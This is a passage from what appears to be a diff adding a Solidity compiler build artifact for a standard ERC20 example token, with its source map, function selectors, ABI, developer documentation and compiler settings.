i;:::-;5305:30;;5345:38;5361:4;5367:7;5376:6;5345:15;:38::i;:::-;5393:27;5403:4;5409:2;5413:6;5393:9;:27::i;:::-;5437:4;5430:11;;;5192:256;;;;;:::o;3093:91::-;3151:5;3175:2;3168:9;;3093:91;:::o;5843:234::-;5931:4;5947:13;5963:12;:10;:12::i;:::-;5947:28;;5985:64;5994:5;6001:7;6038:10;6010:25;6020:5;6027:7;6010:9;:25::i;:::-;:38;;;;:::i;:::-;5985:8;:64::i;:::-;6066:4;6059:11;;;5843:234;;;;:::o;3408:125::-;3482:7;3508:9;:18;3518:7;3508:18;;;;;;;;;;;;;;;;3501:25;;3408:125;;;:::o;2367:102::-;2423:13;2455:7;2448:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2367:102;:::o;6564:427::-;6657:4;6673:13;6689:12;:10;:12::i;:::-;6673:28;;6711:24;6738:25;6748:5;6755:7;6738:9;:25::i;:::-;6711:52;;6801:15;6781:16;:35;;6773:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;6892:60;6901:5;6908:7;6936:15;6917:16;:34;6892:8;:60::i;:::-;6980:4;6973:11;;;;6564:427;;;;:::o;3729:189::-;3808:4;3824:13;3840:12;:10;:12::i;:::-;3824:28;;3862;3872:5;3879:2;3883:6;3862:9;:28::i;:::-;3907:4;3900:11;;;3729:189;;;;:::o;3976:149::-;4065:7;4091:11;:18;4103:5;4091:18;;;;;;;;;;;;;;;:27;4110:7;4091:27;;;;;;;;;;;;;;;;4084:34;;3976:149;;;;:::o;640:96:3:-;693:7;719:10;712:17;;640:96;:::o;10057:340:0:-;10175:1;10158:19;;:5;:19;;;10150:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10255:1;10236:21;;:7;:21;;;10228:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10337:6;10307:11;:18;10319:5;10307:18;;;;;;;;;;;;;;;:27;10326:7;10307:27;;;;;;;;;;;;;;;:36;;;;10374:7;10358:32;;10367:5;10358:32;;;10383:6;10358:32;;;;;;:::i;:::-;;;;;;;;10057:340;;;:::o;10678:411::-;10778:24;10805:25;10815:5;10822:7;10805:9;:25::i;:::-;10778:52;;10864:17;10844:16;:37;10840:243;;10925:6;10905:16;:26;;10897:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11007:51;11016:5;11023:7;11051:6;11032:16;:25;11007:8;:51::i;:::-;10840:243;10768:321;10678:411;;;:::o;7445:621::-;7557:1;7541:18;;:4;:18;;;7533:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7633:1;7619:16;;:2;:16;;;7611:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7686:38;7707:4;7713:2;7717:6;7686:20;:38::i;:::-;7735:19;7757:9;:15;7767:4;7757:15;;;;;;;;;;;;;;;;7735:37;;7805:6;7790:11;:21;;7782:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;7920:6;7906:11;:20;7888:9;:15;7898:4;7888:15;;;;;;;;;;;;;;;:38;;;;7963:6;7946:9;:13;7956:2;7946:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;8000:2;7985:26;;7994:4;7985:26;;;8004:6;7985:26;;;;;;:::i;:::-;;;;;;;;8022:37;8042:4;8048:2;8052:6;8022:19;:37::i;:::-;7523:543;7445:621;;;:::o;11673:91::-;;;;:::o;12352:90::-;;;;:::o;7:99:5:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:474::-;5256:6;5264;5313:2;5301:9;5292:7;5288:23;5284:32;5281:119;;;5319:79;;:::i;:::-;5281:119;5439:1;5464:53;5509:7;5500:6;5489:9;5485:22;5464:53;:::i;:::-;5454:63;;5410:117;5566:2;5592:53;5637:7;5628:6;5617:9;5613:22;5592:53;:::i;:::-;5582:63;;5537:118;5188:474;;;;;:::o;5668:180::-;5716:77;5713:1;5706:88;5813:4;5810:1;5803:15;5837:4;5834:1;5827:15;5854:320;5898:6;5935:1;5929:4;5925:12;5915:22;;5982:1;5976:4;5972:12;6003:18;5993:81;;6059:4;6051:6;6047:17;6037:27;;5993:81;6121:2;6113:6;6110:14;6090:18;6087:38;6084:84;;6140:18;;:::i;:::-;6084:84;5905:269;5854:320;;;:::o;6180:180::-;6228:77;6225:1;6218:88;6325:4;6322:1;6315:15;6349:4;6346:1;6339:15;6366:191;6406:3;6425:20;6443:1;6425:20;:::i;:::-;6420:25;;6459:20;6477:1;6459:20;:::i;:::-;6454:25;;6502:1;6499;6495:9;6488:16;;6523:3;6520:1;6517:10;6514:36;;;6530:18;;:::i;:::-;6514:36;6366:191;;;;:::o;6563:224::-;6703:34;6699:1;6691:6;6687:14;6680:58;6772:7;6767:2;6759:6;6755:15;6748:32;6563:224;:::o;6793:366::-;6935:3;6956:67;7020:2;7015:3;6956:67;:::i;:::-;6949:74;;7032:93;7121:3;7032:93;:::i;:::-;7150:2;7145:3;7141:12;7134:19;;6793:366;;;:::o;7165:419::-;7331:4;7369:2;7358:9;7354:18;7346:26;;7418:9;7412:4;7408:20;7404:1;7393:9;7389:17;7382:47;7446:131;7572:4;7446:131;:::i;:::-;7438:139;;7165:419;;;:::o;7590:223::-;7730:34;7726:1;7718:6;7714:14;7707:58;7799:6;7794:2;7786:6;7782:15;7775:31;7590:223;:::o;7819:366::-;7961:3;7982:67;8046:2;8041:3;7982:67;:::i;:::-;7975:74;;8058:93;8147:3;8058:93;:::i;:::-;8176:2;8171:3;8167:12;8160:19;;7819:366;;;:::o;8191:419::-;8357:4;8395:2;8384:9;8380:18;8372:26;;8444:9;8438:4;8434:20;8430:1;8419:9;8415:17;8408:47;8472:131;8598:4;8472:131;:::i;:::-;8464:139;;8191:419;;;:::o;8616:221::-;8756:34;8752:1;8744:6;8740:14;8733:58;8825:4;8820:2;8812:6;8808:15;8801:29;8616:221;:::o;8843:366::-;8985:3;9006:67;9070:2;9065:3;9006:67;:::i;:::-;8999:74;;9082:93;9171:3;9082:93;:::i;:::-;9200:2;9195:3;9191:12;9184:19;;8843:366;;;:::o;9215:419::-;9381:4;9419:2;9408:9;9404:18;9396:26;;9468:9;9462:4;9458:20;9454:1;9443:9;9439:17;9432:47;9496:131;9622:4;9496:131;:::i;:::-;9488:139;;9215:419;;;:::o;9640:179::-;9780:31;9776:1;9768:6;9764:14;9757:55;9640:179;:::o;9825:366::-;9967:3;9988:67;10052:2;10047:3;9988:67;:::i;:::-;9981:74;;10064:93;10153:3;10064:93;:::i;:::-;10182:2;10177:3;10173:12;10166:19;;9825:366;;;:::o;10197:419::-;10363:4;10401:2;10390:9;10386:18;10378:26;;10450:9;10444:4;10440:20;10436:1;10425:9;10421:17;10414:47;10478:131;10604:4;10478:131;:::i;:::-;10470:139;;10197:419;;;:::o;10622:224::-;10762:34;10758:1;10750:6;10746:14;10739:58;10831:7;10826:2;10818:6;10814:15;10807:32;10622:224;:::o;10852:366::-;10994:3;11015:67;11079:2;11074:3;11015:67;:::i;:::-;11008:74;;11091:93;11180:3;11091:93;:::i;:::-;11209:2;11204:3;11200:12;11193:19;;10852:366;;;:::o;11224:419::-;11390:4;11428:2;11417:9;11413:18;11405:26;;11477:9;11471:4;11467:20;11463:1;11452:9;11448:17;11441:47;11505:131;11631:4;11505:131;:::i;:::-;11497:139;;11224:419;;;:::o;11649:222::-;11789:34;11785:1;11777:6;11773:14;11766:58;11858:5;11853:2;11845:6;11841:15;11834:30;11649:222;:::o;11877:366::-;12019:3;12040:67;12104:2;12099:3;12040:67;:::i;:::-;12033:74;;12116:93;12205:3;12116:93;:::i;:::-;12234:2;12229:3;12225:12;12218:19;;11877:366;;;:::o;12249:419::-;12415:4;12453:2;12442:9;12438:18;12430:26;;12502:9;12496:4;12492:20;12488:1;12477:9;12473:17;12466:47;12530:131;12656:4;12530:131;:::i;:::-;12522:139;;12249:419;;;:::o;12674:225::-;12814:34;12810:1;12802:6;12798:14;12791:58;12883:8;12878:2;12870:6;12866:15;12859:33;12674:225;:::o;12905:366::-;13047:3;13068:67;13132:2;13127:3;13068:67;:::i;:::-;13061:74;;13144:93;13233:3;13144:93;:::i;:::-;13262:2;13257:3;13253:12;13246:19;;12905:366;;;:::o;13277:419::-;13443:4;13481:2;13470:9;13466:18;13458:26;;13530:9;13524:4;13520:20;13516:1;13505:9;13501:17;13494:47;13558:131;13684:4;13558:131;:::i;:::-;13550:139;;13277:419;;;:::o",
+    "linkReferences": {}
+  },
+  "methodIdentifiers": {
+    "allowance(address,address)": "dd62ed3e",
+    "approve(address,uint256)": "095ea7b3",
+    "balanceOf(address)": "70a08231",
+    "decimals()": "313ce567",
+    "decreaseAllowance(address,uint256)": "a457c2d7",
+    "increaseAllowance(address,uint256)": "39509351",
+    "name()": "06fdde03",
+    "symbol()": "95d89b41",
+    "totalSupply()": "18160ddd",
+    "transfer(address,uint256)": "a9059cbb",
+    "transferFrom(address,address,uint256)": "23b872dd"
+  },
+  "rawMetadata": "{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Approval\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Transfer\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"}],\"name\":\"allowance\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"approve\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"decimals\",\"outputs\":[{\"internalType\":\"uint8\",\"name\":\"\",\"type\":\"uint8\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"subtractedValue\",\"type\":\"uint256\"}],\"name\":\"decreaseAllowance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"addedValue\",\"type\":\"uint256\"}],\"name\":\"increaseAllowance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"name\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"symbol\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"totalSupply\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transfer\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transferFrom\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"events\":{\"Approval(address,address,uint256)\":{\"details\":\"Emitted when the allowance of a `spender` for an `owner` is set by a call to {approve}. `value` is the new allowance.\"},\"Transfer(address,address,uint256)\":{\"details\":\"Emitted when `value` tokens are moved from one account (`from`) to another (`to`). Note that `value` may be zero.\"}},\"kind\":\"dev\",\"methods\":{\"allowance(address,address)\":{\"details\":\"See {IERC20-allowance}.\"},\"approve(address,uint256)\":{\"details\":\"See {IERC20-approve}. NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on `transferFrom`. This is semantically equivalent to an infinite approval. Requirements: - `spender` cannot be the zero address.\"},\"balanceOf(address)\":{\"details\":\"See {IERC20-balanceOf}.\"},\"decimals()\":{\"details\":\"Returns the number of decimals used to get its user representation. For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5.05` (`505 / 10 ** 2`). Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value {ERC20} uses, unless this function is overridden; NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic of the contract, including {IERC20-balanceOf} and {IERC20-transfer}.\"},\"decreaseAllowance(address,uint256)\":{\"details\":\"Atomically decreases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address. - `spender` must have allowance for the caller of at least `subtractedValue`.\"},\"increaseAllowance(address,uint256)\":{\"details\":\"Atomically increases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address.\"},\"name()\":{\"details\":\"Returns the name of the token.\"},\"symbol()\":{\"details\":\"Returns the symbol of the token, usually a shorter version of the name.\"},\"totalSupply()\":{\"details\":\"See {IERC20-totalSupply}.\"},\"transfer(address,uint256)\":{\"details\":\"See {IERC20-transfer}. Requirements: - `to` cannot be the zero address. - the caller must have a balance of at least `amount`.\"},\"transferFrom(address,address,uint256)\":{\"details\":\"See {IERC20-transferFrom}. Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {ERC20}. NOTE: Does not update the allowance if the current allowance is the maximum `uint256`. Requirements: - `from` and `to` cannot be the zero address. - `from` must have a balance of at least `amount`. - the caller must have allowance for ``from``'s tokens of at least `amount`.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/ERC20Example.sol\":\"ERC20Example\"},\"evmVersion\":\"paris\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":false,\"runs\":200},\"remappings\":[\":@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/\",\":ds-test/=lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts/=lib/openzeppelin-contracts/\",\":solady/=lib/solady/src/\"]},\"sources\":{\"src/@openzeppelin/contracts/token/ERC20/ERC20.sol\":{\"keccak256\":\"0x1be45089def1d7d2fcdc76c7caedd6f1e89ff334bb8c9e27046f3c6dd72e0655\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6bbe28def3091e1fc903d29b3118d8964826c140d659fd804cb4efb9e7ff81f3\",\"dweb:/ipfs/QmZAPGRzfS7xPhEMN4kWjkrKdkKdg5gKfZh4y344UAsKC3\"]},\"src/@openzeppelin/contracts/token/ERC20/IERC20.sol\":{\"keccak256\":\"0x00c839ff53d07d19db2e7cfa1e5133f9ee90a8d64b0e2e57f50446a2d1a3a0e0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://3dac621d015a68a5251b1e5d41dda0faf252699bf6e8bcf46a958b29964d9dd1\",\"dweb:/ipfs/QmP9axjgZv4cezAhALoTemM62sdLtMDJ9MGTxECnNwHgSJ\"]},\"src/@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"keccak256\":\"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd\",\"dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8\"]},\"src/@openzeppelin/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/ERC20Example.sol\":{\"keccak256\":\"0x0abc6dab644c5533cf6828c3184aeed07256cdf9b597be244a7612c50a0ef258\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://eda3e2e04667056620ca8d07dee12a46308d87d6f3777b4a68d839999543104a\",\"dweb:/ipfs/QmeMz9jiAGXa1FWvsGdoHaD1LXBs3cdtnz6B4p7ag6REL8\"]}},\"version\":1}",
+  "metadata": {
+    "compiler": {
+      "version": "0.8.24+commit.e11b9ed9"
+    },
+    "language": "Solidity",
+    "output": {
+      "abi": [
+        {
+          "inputs": [],
+          "stateMutability": "nonpayable",
+          "type": "constructor"
+        },
+        {
+          "inputs": [
+            {
+              "internalType": "address",
+              "name": "owner",
+              "type": "address",
+              "indexed": true
+            },
+            {
+              "internalType": "address",
+              "name": "spender",
+              "type": "address",
+              "indexed": true
+            },
+            {
+              "internalType": "uint256",
+              "name": "value",
+              "type": "uint256",
+              "indexed": false
+            }
+          ],
+          "type": "event",
+          "name": "Approval",
+          "anonymous": false
+        },
+        {
+          "inputs": [
+            {
+              "internalType": "address",
+              "name": "from",
+              "type": "address",
+              "indexed": true
+            },
+            {
+              "internalType": "address",
+              "name": "to",
+              "type": "address",
+              "indexed": true
+            },
+            {
+              "internalType": "uint256",
+              "name": "value",
+              "type": "uint256",
+              "indexed": false
+            }
+          ],
+          "type": "event",
+          "name": "Transfer",
+          "anonymous": false
+        },
+        {
+          "inputs": [
+            {
+              "internalType": "address",
+              "name": "owner",
+              "type": "address"
+            },
+            {
+              "internalType": "address",
+              "name": "spender",
+              "type": "address"
+            }
+          ],
+          "stateMutability": "view",
+          "type": "function",
+          "name": "allowance",
+          "outputs": [
+            {
+              "internalType": "uint256",
+              "name": "",
+              "type": "uint256"
+            }
+          ]
+        },
+        {
+          "inputs": [
+            {
+              "internalType": "address",
+              "name": "spender",
+              "type": "address"
+            },
+            {
+              "internalType": "uint256",
+              "name": "amount",
+              "type": "uint256"
+            }
+          ],
+          "stateMutability": "nonpayable",
+          "type": "function",
+          "name": "approve",
+          "outputs": [
+            {
+              "internalType": "bool",
+              "name": "",
+              "type": "bool"
+            }
+          ]
+        },
+        {
+          "inputs": [
+            {
+              "internalType": "address",
+              "name": "account",
+              "type": "address"
+            }
+          ],
+          "stateMutability": "view",
+          "type": "function",
+          "name": "balanceOf",
+          "outputs": [
+            {
+              "internalType": "uint256",
+              "name": "",
+              "type": "uint256"
+            }
+          ]
+        },
+        {
+          "inputs": [],
+          "stateMutability": "view",
+          "type": "function",
+          "name": "decimals",
+          "outputs": [
+            {
+              "internalType": "uint8",
+              "name": "",
+              "type": "uint8"
+            }
+          ]
+        },
+        {
+          "inputs": [
+            {
+              "internalType": "address",
+              "name": "spender",
+              "type": "address"
+            },
+            {
+              "internalType": "uint256",
+              "name": "subtractedValue",
+              "type": "uint256"
+            }
+          ],
+          "stateMutability": "nonpayable",
+          "type": "function",
+          "name": "decreaseAllowance",
+          "outputs": [
+            {
+              "internalType": "bool",
+              "name": "",
+              "type": "bool"
+            }
+          ]
+        },
+        {
+          "inputs": [
+            {
+              "internalType": "address",
+              "name": "spender",
+              "type": "address"
+            },
+            {
+              "internalType": "uint256",
+              "name": "addedValue",
+              "type": "uint256"
+            }
+          ],
+          "stateMutability": "nonpayable",
+          "type": "function",
+          "name": "increaseAllowance",
+          "outputs": [
+            {
+              "internalType": "bool",
+              "name": "",
+              "type": "bool"
+            }
+          ]
+        },
+        {
+          "inputs": [],
+          "stateMutability": "view",
+          "type": "function",
+          "name": "name",
+          "outputs": [
+            {
+              "internalType": "string",
+              "name": "",
+              "type": "string"
+            }
+          ]
+        },
+        {
+          "inputs": [],
+          "stateMutability": "view",
+          "type": "function",
+          "name": "symbol",
+          "outputs": [
+            {
+              "internalType": "string",
+              "name": "",
+              "type": "string"
+            }
+          ]
+        },
+        {
+          "inputs": [],
+          "stateMutability": "view",
+          "type": "function",
+          "name": "totalSupply",
+          "outputs": [
+            {
+              "internalType": "uint256",
+              "name": "",
+              "type": "uint256"
+            }
+          ]
+        },
+        {
+          "inputs": [
+            {
+              "internalType": "address",
+              "name": "to",
+              "type": "address"
+            },
+            {
+              "internalType": "uint256",
+              "name": "amount",
+              "type": "uint256"
+            }
+          ],
+          "stateMutability": "nonpayable",
+          "type": "function",
+          "name": "transfer",
+          "outputs": [
+            {
+              "internalType": "bool",
+              "name": "",
+              "type": "bool"
+            }
+          ]
+        },
+        {
+          "inputs": [
+            {
+              "internalType": "address",
+              "name": "from",
+              "type": "address"
+            },
+            {
+              "internalType": "address",
+              "name": "to",
+              "type": "address"
+            },
+            {
+              "internalType": "uint256",
+              "name": "amount",
+              "type": "uint256"
+            }
+          ],
+          "stateMutability": "nonpayable",
+          "type": "function",
+          "name": "transferFrom",
+          "outputs": [
+            {
+              "internalType": "bool",
+              "name": "",
+              "type": "bool"
+            }
+          ]
+        }
+      ],
+      "devdoc": {
+        "kind": "dev",
+        "methods": {
+          "allowance(address,address)": {
+            "details": "See {IERC20-allowance}."
+          },
+          "approve(address,uint256)": {
+            "details": "See {IERC20-approve}. NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on `transferFrom`. This is semantically equivalent to an infinite approval. Requirements: - `spender` cannot be the zero address."
+          },
+          "balanceOf(address)": {
+            "details": "See {IERC20-balanceOf}."
+          },
+          "decimals()": {
+            "details": "Returns the number of decimals used to get its user representation. For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5.05` (`505 / 10 ** 2`). Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value {ERC20} uses, unless this function is overridden; NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic of the contract, including {IERC20-balanceOf} and {IERC20-transfer}."
+          },
+          "decreaseAllowance(address,uint256)": {
+            "details": "Atomically decreases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address. - `spender` must have allowance for the caller of at least `subtractedValue`."
+          },
+          "increaseAllowance(address,uint256)": {
+            "details": "Atomically increases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address."
+          },
+          "name()": {
+            "details": "Returns the name of the token."
+          },
+          "symbol()": {
+            "details": "Returns the symbol of the token, usually a shorter version of the name."
+          },
+          "totalSupply()": {
+            "details": "See {IERC20-totalSupply}."
+          },
+          "transfer(address,uint256)": {
+            "details": "See {IERC20-transfer}. Requirements: - `to` cannot be the zero address. - the caller must have a balance of at least `amount`."
+          },
+          "transferFrom(address,address,uint256)": {
+            "details": "See {IERC20-transferFrom}. Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {ERC20}. NOTE: Does not update the allowance if the current allowance is the maximum `uint256`. Requirements: - `from` and `to` cannot be the zero address. - `from` must have a balance of at least `amount`. - the caller must have allowance for ``from``'s tokens of at least `amount`."
+          }
+        },
+        "version": 1
+      },
+      "userdoc": {
+        "kind": "user",
+        "methods": {},
+        "version": 1
+      }
+    },
+    "settings": {
+      "remappings": [
+        "@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
+        "ds-test/=lib/forge-std/lib/ds-test/src/",
+        "erc4626-tests/=lib/openzeppelin-contracts/lib/erc4626-tests/",
+        "forge-std/=lib/forge-std/src/",
+        "openzeppelin-contracts/=lib/openzeppelin-contracts/",
+        "solady/=lib/solady/src/"
+      ],
+      "optimizer": {
+        "enabled": false,
+        "runs": 200
+      },
+      "metadata": {
+        "bytecodeHash": "ipfs"
+      },
+      "compilationTarget": {
+        "src/ERC20Example.sol": "ERC20Example"
+      },
+      "evmVersion": "paris",
+      "libraries": {}
+    },
+    "sources": {
+      "src/@openzeppelin/contracts/token/ERC20/ERC20.sol": {
